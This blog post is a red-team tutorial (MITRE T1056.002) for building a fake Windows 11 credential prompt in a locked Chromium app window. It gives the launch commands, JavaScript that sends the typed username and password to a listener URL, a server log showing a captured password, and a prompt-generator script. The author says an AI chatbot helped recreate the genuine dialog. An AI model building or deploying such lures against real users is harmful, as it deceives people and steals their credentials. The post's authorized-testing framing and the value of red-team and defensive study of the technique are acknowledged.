In this blog post, I will showcase a method for creating fake Windows 11 credential popups only using a Chromium browser and a basic TCP listener. Attackers can utilize this technique to phish credentials from compromised victim computers.

This type of attack falls under MITRE ATT&CK: T1056.002 – GUI Input Capture

  • Tactic: Credential Access (TA0006)
  • Technique: T1056 Input Capture
  • Sub-technique: T1056.002 GUI Input Capture

This is shared strictly for educational and authorized red-team / penetration-testing purposes on systems you own or have explicit permission to test. Unauthorized use for phishing or credential theft is illegal and can result in severe legal consequences (e.g., CFAA violations, wire fraud statutes). Use responsibly

Explaining the Command Line Arguments

To do this we will first need to configure the browser window to a certain size and prevent it from being resizable. We are able to do this with the following command line options:

--window-size=x,y
--force-app-mode
--disable-infobars

We can use the --app option to load a specific website or local web resource.

--app="https://example.com"

We can combine all the arguments above to launch a window that’s locked to 440,460 resolution and stuck on example.com. I am using --user-data-dir to specify a custom profile directory.

& "C:\Program Files\Google\Chrome\Application\chrome.exe" `
    --app="https://example.com" `
    --window-size=440,460 `
    --force-app-mode `
    --disable-infobars `
    --user-data-dir="C:\temp\winprompt"

Which then launches the following result: noresize

Additionally note how the icon of the browser window is the favicon of the website! Browser window showing website favicon

Creating the Credential Prompt HTML

CSS and HTML

I launched a connection to my personal NAS and captured a screenshot of the Windows 11 credential prompt. I gave it to Claude prompting it to re-create the window.

Real Windows 11 credential prompt screenshot

Claude AI generated credential prompt

I downloaded the provided login.html file then loaded it with the following chromium arguments:

$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"

$chromeArgs = @(
    '--app="C:\Users\drew\Downloads\login.html"'
    '--window-size=440,460'
    '--force-app-mode'
    '--disable-infobars'
    '--noerrdialogs'
    '--user-data-dir="C:\temp\winprompt"'
)

Start-Process -FilePath $chromePath -ArgumentList $chromeArgs

Unfortunately, it’s not perfect. We should remove the ‘x’ button and the ‘Windows Security’ title, limiting the popup content to just the username and password fields, along with the ‘Cancel’ and ‘OK’ buttons.

Incomplete fake credential prompt with title bar

After a while of messing around with claude this was the final product. With the left prompt being the real windows prompt and the right one being a chrome window. Real Windows 11 credential prompt (left) vs fake Chrome version (right)

The icon of this program is the favicon in the source code. which I have set to the windows security logo. Fake prompt with Windows Security favicon

Creating the Callback Logic

Everything we generated so far is purely cosmetic we still need a way to capture what the user actually inputs into the form. To do this we will be using HTTP/s callback. With the credentials being exfiltrated over the target URI.

We will be creating a JavaScript function called handleLogin() which will be called on form submission. We will start its declaration by grabbing the entered username and password.

async function handleLogin() {
  // Fetch form values
  const username = document.getElementById('username').value.trim();
  const password = document.getElementById('password').value.trim();
  // enforce both are filled in
  if (!username || !password) {
	alert('Please enter both username and password');
	return;
  }

Then we define the callback URL where the results of our credential prompt will go:

  const url = `http://127.0.0.1:8000/${encodeURIComponent(username)}:${encodeURIComponent(password)}`;

      try {
      // actually fetch the callback URL
        await fetch(url, {
          method: 'GET',
          mode: 'no-cors',
          cache: 'no-cache',
        });
        setTimeout(() => window.close(), 500);
      } catch (error) {
        setTimeout(() => window.close(), 800);
      }
    }
} // end of handleLogin!!

HandleLogin is linked to the submit action using addEventListener. Additional listeners are added to handle users cancelling the credential prompt.

// if user clicks ok, or hits enter --> submit form to callback URI
form.addEventListener('submit', (e) => { e.preventDefault(); handleLogin(); });

// if user clicks the cancel button --> exit
document.getElementById('cancelBtn').addEventListener('click', () => window.close());

//if user hits escape --> exit
document.addEventListener('keydown', (e) => { if (e.key === "Escape") window.close(); });

Finally we Link the form in the HTML to the credentialForm ID.

  /* ===  === */
  <form id="credentialForm" class="dialog" onsubmit="return false;">

      ... <snippet>
      
      <div class="field">
        <label for="password">Password</label>
        <input type="password" id="password" name="password">
      </div>
      
      ... <snippet>
  </form>

Setting up the Listener

With this setup, we can use either of the following to set up a listener:

  • python -m http.server (or a simple PowerShell script) running locally on the machine
  • a public domain or IP address the attacker controls


PS C:\Users\drew\chromium-lure> .\SimpleHTTPServer.ps1 -Port 8000
[*] Starting HTTP Server on http://127.0.0.1:8000
[*] Press Ctrl+C to stop the server...

[*] [2026-07-16 20:17:26] Request from 127.0.0.1
[*] Path: /drew:mysecurepassword1234567


Custom Generation Script

I then decided to create a python script to generate various different type of credential windows. I wanted to develop the following features:

  • Customizable prompt message, title and favicon
  • An Optional pre-filled username
  • Dark/Light mode


link can be found here: https://github.com/Drew-Alleman/chromium-lure/

Light mode yuck! I tried changing the top window color to match the real one, but had no success. I plan on returning to try again.
Light mode generated credential prompt

I then added support for pre filled usernames just in case the target has multiple accounts:
Generated credential prompt with pre-filled username

Custom Favicon and window title:

PS C:\Users\drew\chromium-lure> python .\generate.py 127.0.0.1 8000 --theme light --title test --favicon "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTHO9lsP9wFHQAm5dh82iTJdhDdyxe-GtfLGEu1D0tVXk5s7xeMZSWutpg&s=10"
[+] Done → prompt.html (light)

Custom title and favicon generated prompt